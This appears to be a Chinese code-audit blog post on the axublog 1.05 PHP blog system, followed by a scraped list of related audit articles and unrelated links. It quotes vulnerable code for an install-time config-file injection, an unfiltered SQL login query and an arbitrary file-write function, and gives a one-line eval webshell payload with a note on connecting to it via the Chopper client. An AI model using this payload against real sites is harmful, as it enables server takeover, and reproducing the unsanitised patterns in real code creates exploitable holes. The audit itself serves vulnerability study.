axublog 1.05代码审计
00x1 安装漏洞
install/cmsconfig.php
function step4(){
$root=$_POST["root"];
$dbuser=$_POST["dbuser"];
$dbpsw=$_POST["dbpsw"];
$dbname=$_POST["dbname"];
$tabhead=$_POST["tabhead"];
$ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"];
$webname=$_POST["webname"];
$weburl=$_POST["weburl"];
$webinfo=$_POST["webinfo"];
$webkeywords=$_POST["webkeywords"];
$webauthor=$_POST["webauthor"];
这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。
$file="config_empty.php";
$fp=fopen($file,"r"); //以写入方式打开文件
$text2=fread($fp,4096); //读取文件内容
$text2=str_replace('@root@',$root,$text2);
$text2=str_replace('@dbuser@',$dbuser,$text2);
$text2=str_replace('@dbpsw@',$dbpsw,$text2);
$text2=str_replace('@dbname@',$dbname,$text2);
$text2=str_replace('@tabhead@',$tabhead,$text2);
$text2=str_replace('@webname@',$webname,$text2);
$text2=str_replace('@weburl@',$weburl,$text2);
$text2=str_replace('@webinfo@',$webinfo,$text2);
$text2=str_replace('@webkeywords@',$webkeywords,$text2);
$text2=str_replace('@webauthor@',$webauthor,$text2);
$file="../cmsconfig.php"; //定义文件
$fp=fopen($file,"w"); //以写入方式打开文件
fwrite($fp,$text2);
@unlink("goinstall.php");
这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。
POC:"@eval($_POST['xishaonian'])
然后菜刀直接连接就cmsconfig.php即可。
注:该漏洞也在后台直接可以插一句话
00x2 SQL注入
ad/admin.php
chkoutpost();
$ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',);
global $tabhead;
$tab=$tabhead."adusers";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");
很简答可以看到$ad_user没有过滤。直接性导致sql注入。
00x3
<?php
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';exit;} if(file_put_contents ($path, $content)){echo"保存文件成功!";}
else{echo"保存文件失败!";}
?> </div></div>
<b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b>
</div>
axublog 1.05代码审计的更多相关文章
- PHP代码审计05之正则使用不当
前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...
- auxblogcms1.0.6|代码审计
这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...
- 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- axublogcms1.0.6|代码审计
这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...
- [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- PHP代码审计基础-初级篇
对于php代码审计我也是从0开始学的,对学习过程进行整理输出沉淀如有不足欢迎提出共勉.对学习能力有较高要求,整个系列主要是在工作中快速精通php代码审计,整个学习周期5天 ,建议花一天时间熟悉php语 ...
- ESPCMS-Seay自动加手工代码审计
ESPcms代码审计 源码下载地址:http://yesky.91speed.org.cn/sw/180001_190000/rar/espcms_utf8_5.4.12.05.14.rar 1.自动 ...
- 代码审计系列题目CTFD部署(上)
关于简单部署题目请参考:https://www.cnblogs.com/Cl0ud/p/13783325.html 如果需要进行较复杂部署,可参考本篇 PHP代码审计系列题目的部署,较之前的部署方案, ...
- 代码审计【根据功能点定向审计】BugFree ZSWin重装案例
(哦对了!这些CMS代码不要安装在服务器上,先不说它们用来代码审计本身就是有漏洞的,而且在网上下载下来,也不能保证没有源码是否被篡改而留有后门,就安装在本地进行代码审计的练习即可) 我们先下载BugF ...
随机推荐
- mvc 文件压缩 减少文件大小
using System; using System.Collections.Generic; using System.IO.Compression; using System.Linq; usin ...
- 记一次常规的Mysql数据库访问的时间分析
背景:记一次常规的数据访问的时间分析(插入操作) 1. TCP三次握手 SYN ---> <--- SYN,ACK ACK ---> 花费时间: 386.718-385.784=0. ...
- android开发之interpolator的使用
android:interpolator Interpolator 被用来修饰动画效果,定义动画的变化率,可以使存在的动画效果accelerated(加速),decelerated(减速),repea ...
- windows 中安装及使用 SSH Key
转自 简书技术博客:https://www.jianshu.com/p/a3b4f61d4747 联系管理员开通ssh功能: 重新创建环境: 下载工具包到本地机器wsCli 0.4 解压后,把相应的w ...
- es5 温故而知新 创建私有成员、私有变量、特权变量的方法
其实js是不支持私有变量的.哪怕到es6的class语法.虽然有许多变相的方式.但非常冗余而不推崇. 这里介绍的实际上也不是class语法,而是普通的函数,并且利用IIFE(闭包)的方式来实现私有. ...
- Excel Open Xml中CellStyleXfs,cellStyle,cellXfs之间关系的总结
最近这几个东东打交道了几天,总算是弄明白了,综合多个帖子,现在总结如下: 在创建stylesheet时,必须创建fonts,Fills,Borders 和cellXfs(CellFormats)四个节 ...
- Python 爬虫 不得不说的 清洗
今天就聊聊爬虫的清洗,下载网页只是最简单的一个步骤,最让人头疼的是数据的清洗. 为什么要这样说呢,因为爬虫首先是获得数据,清洗是把非结构化的数据转换成结果化的数据,这个时候是最考验人的时候. 如果是国 ...
- Android App开发技能图谱(转载)
操作系统 Windows/MacOSX/Linux 编程语言 Java HTML/JS (Hybrid/Web App) C/C++ (NDK) SQL (DB) Kotlin 开发工具 IDE An ...
- 学习排序算法(一):单文档方法 Pointwise
学习排序算法(一):单文档方法 Pointwise 1. 基本思想 这样的方法主要是将搜索结果的文档变为特征向量,然后将排序问题转化成了机器学习中的常规的分类问题,并且是个多类分类问题. 2. 方法流 ...
- 有关https安全的相关内容介绍
Https 介绍什么是Https HTTPS(全称:Hypertext Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道.简单讲是H ...